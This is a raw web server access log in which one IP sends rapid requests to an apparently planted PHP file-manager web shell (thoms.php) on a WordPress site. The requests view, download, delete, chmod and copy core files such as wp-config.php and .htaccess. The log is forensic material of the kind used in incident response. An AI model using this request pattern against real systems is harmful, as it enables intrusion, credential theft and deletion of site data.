45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?del=wp-mail.php&p=bodbooks.com.tw HTTP/1.1" 200 17559 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Freadme.html&p=bodbooks.com.tw HTTP/1.1" 200 11503 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=bodbooks.com.tw HTTP/1.1" 200 11496 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fwp-links-opml.php&p=bodbooks.com.tw HTTP/1.1" 200 11514 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?del=wp-cron.php&p=bodbooks.com.tw HTTP/1.1" 200 17557 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fwp-login.php&p=bodbooks.com.tw HTTP/1.1" 200 11494 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fgenerated-history HTTP/1.1" 200 13424 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?del=locoy.php&p=bodbooks.com.tw HTTP/1.1" 200 17558 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?del=mah.php&p=bodbooks.com.tw HTTP/1.1" 200 17558 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=thoms.php HTTP/1.1" 200 11805 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=wp-load.php HTTP/1.1" 200 13664 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fthoms.php&p=bodbooks.com.tw HTTP/1.1" 200 11505 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=bodbooks.com.tw HTTP/1.1" 200 11498 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fwp-settings.php&p=bodbooks.com.tw HTTP/1.1" 200 11505 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?p=bodbooks.com.tw&upload= HTTP/1.1" 200 12159 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?chmod=upgrade&p=bodbooks.com.tw HTTP/1.1" 200 11476 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=.htaccess HTTP/1.1" 200 12723 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?del=generated-history&p=bodbooks.com.tw HTTP/1.1" 200 17546 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?del=thoms.php&p=bodbooks.com.tw HTTP/1.1" 200 17558 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=wp-comments-post.php HTTP/1.1" 200 13015 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=bodbooks.com.tw HTTP/1.1" 200 11486 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=xmlrpc.php HTTP/1.1" 200 13373 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?dl=wp-mail.php&p=bodbooks.com.tw HTTP/1.1" 200 17547 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?chmod=locoy.php&p=bodbooks.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=bodbooks.com.tw HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?chmod=wp-login.php&p=bodbooks.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?chmod=cgi-bin&p=bodbooks.com.tw HTTP/1.1" 200 11487 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?del=xmlrpc.php&p=bodbooks.com.tw HTTP/1.1" 200 17559 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?del=wp-admin&p=bodbooks.com.tw HTTP/1.1" 200 17558 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?del=license.txt&p=bodbooks.com.tw HTTP/1.1" 200 17556 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?dl=wp-signup.php&p=bodbooks.com.tw HTTP/1.1" 200 17557 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2F.well-known&p= HTTP/1.1" 200 12188 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=error_log HTTP/1.1" 200 14901 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?chmod=mah.php&p=bodbooks.com.tw HTTP/1.1" 200 11470 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?dl=index.php&p=bodbooks.com.tw HTTP/1.1" 200 17557 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=wp-blog-header.php HTTP/1.1" 200 12036 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=bodbooks.com.tw HTTP/1.1" 200 17557 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fwp-admin&p= HTTP/1.1" 200 12187 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=license.txt HTTP/1.1" 200 20072 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=readme.html HTTP/1.1" 200 15232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fwp-activate.php&p=bodbooks.com.tw HTTP/1.1" 200 11500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?del=wp-activate.php&p=bodbooks.com.tw HTTP/1.1" 200 17549 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fwp-mail.php&p=bodbooks.com.tw HTTP/1.1" 200 11496 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?chmod=wp-includes&p=bodbooks.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /bodbooks.com.tw HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fupgrade&p= HTTP/1.1" 200 12211 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?del=wp-config.php&p=bodbooks.com.tw HTTP/1.1" 200 17558 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?del=wp-trackback.php&p=bodbooks.com.tw HTTP/1.1" 200 17557 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?del=.well-known&p=bodbooks.com.tw HTTP/1.1" 200 17558 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fmah.php&p=bodbooks.com.tw HTTP/1.1" 200 11503 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=wp-config-sample.php HTTP/1.1" 200 13311 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /bodbooks.com.tw/ HTTP/1.1" 404 12164 "https://163.245.207.76/bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=wp-links-opml.php HTTP/1.1" 200 13104 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=wp-mail.php HTTP/1.1" 200 15355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?chmod=wp-mail.php&p=bodbooks.com.tw HTTP/1.1" 200 11495 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?chmod=readme.html&p=bodbooks.com.tw HTTP/1.1" 200 11491 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?dl=wp-activate.php&p=bodbooks.com.tw HTTP/1.1" 200 17558 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?dl=wp-login.php&p=bodbooks.com.tw HTTP/1.1" 200 17560 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?chmod=wp-settings.php&p=bodbooks.com.tw HTTP/1.1" 200 11492 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:16 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=bodbooks.com.tw HTTP/1.1" 200 11497 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:17 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fupgrade HTTP/1.1" 200 14163 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:17 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fwp-content HTTP/1.1" 200 13605 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:17 -0400] "GET /thoms.php?dl=error_log&p=bodbooks.com.tw HTTP/1.1" 200 17559 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:17 -0400] "GET /thoms.php?del=index.php&p=bodbooks.com.tw HTTP/1.1" 200 17560 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:17 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Ferror_log&p=bodbooks.com.tw HTTP/1.1" 200 11503 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:17 -0400] "GET /thoms.php?dl=.htaccess&p=bodbooks.com.tw HTTP/1.1" 200 17549 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:17 -0400] "GET /thoms.php?dl=locoy.php&p=bodbooks.com.tw HTTP/1.1" 200 17559 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:17 -0400] "GET /thoms.php?del=readme.html&p=bodbooks.com.tw HTTP/1.1" 200 17561 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:17 -0400] "GET /thoms.php?dl=readme.html&p=bodbooks.com.tw HTTP/1.1" 200 17560 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:17 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=bodbooks.com.tw HTTP/1.1" 200 17560 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:17 -0400] "GET /thoms.php?p=bodbooks.com.tw&settings=1 HTTP/1.1" 200 11880 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:17 -0400] "GET /thoms.php?chmod=partial-temp&p=bodbooks.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:17 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fpartial-temp&p= HTTP/1.1" 200 12193 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:17 -0400] "GET /thoms.php?del=error_log&p=bodbooks.com.tw HTTP/1.1" 200 17559 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:17 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fpartial-temp HTTP/1.1" 200 13262 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:17 -0400] "GET /thoms.php?del=wp-signup.php&p=bodbooks.com.tw HTTP/1.1" 200 17559 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:17 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fwp-admin HTTP/1.1" 200 28853 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:17 -0400] "GET /thoms.php?chmod=error_log&p=bodbooks.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:17 -0400] "GET /thoms.php?chmod=index.php&p=bodbooks.com.tw HTTP/1.1" 200 11479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:17 -0400] "GET /thoms.php?chmod=license.txt&p=bodbooks.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:17 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Flocoy.php&p=bodbooks.com.tw HTTP/1.1" 200 11495 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:17 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=bodbooks.com.tw HTTP/1.1" 200 17560 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:17 -0400] "GET /thoms.php?dl=xmlrpc.php&p=bodbooks.com.tw HTTP/1.1" 200 17551 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:17 -0400] "GET /thoms.php?chmod=wp-load.php&p=bodbooks.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:17 -0400] "GET /thoms.php?dl=wp-settings.php&p=bodbooks.com.tw HTTP/1.1" 200 17558 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:17 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=wp-signup.php HTTP/1.1" 200 22518 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:17 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fwp-signup.php&p=bodbooks.com.tw HTTP/1.1" 200 11497 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:17 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fcgi-bin HTTP/1.1" 200 12061 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:17 -0400] "GET /thoms.php?del=wp-load.php&p=bodbooks.com.tw HTTP/1.1" 200 17561 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:17 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fwp-includes HTTP/1.1" 200 59420 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:17 -0400] "GET /thoms.php?del=wp-settings.php&p=bodbooks.com.tw HTTP/1.1" 200 17559 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:17 -0400] "GET /thoms.php?del=cgi-bin&p=bodbooks.com.tw HTTP/1.1" 200 17559 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:18 -0400] "GET /thoms.php?dl=thoms.php&p=bodbooks.com.tw HTTP/1.1" 200 17560 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:18 -0400] "GET /thoms.php?chmod=.htaccess&p=bodbooks.com.tw HTTP/1.1" 200 11489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:18 -0400] "GET /thoms.php?dl=wp-load.php&p=bodbooks.com.tw HTTP/1.1" 200 17559 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:18 -0400] "GET /thoms.php?dl=license.txt&p=bodbooks.com.tw HTTP/1.1" 200 17562 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
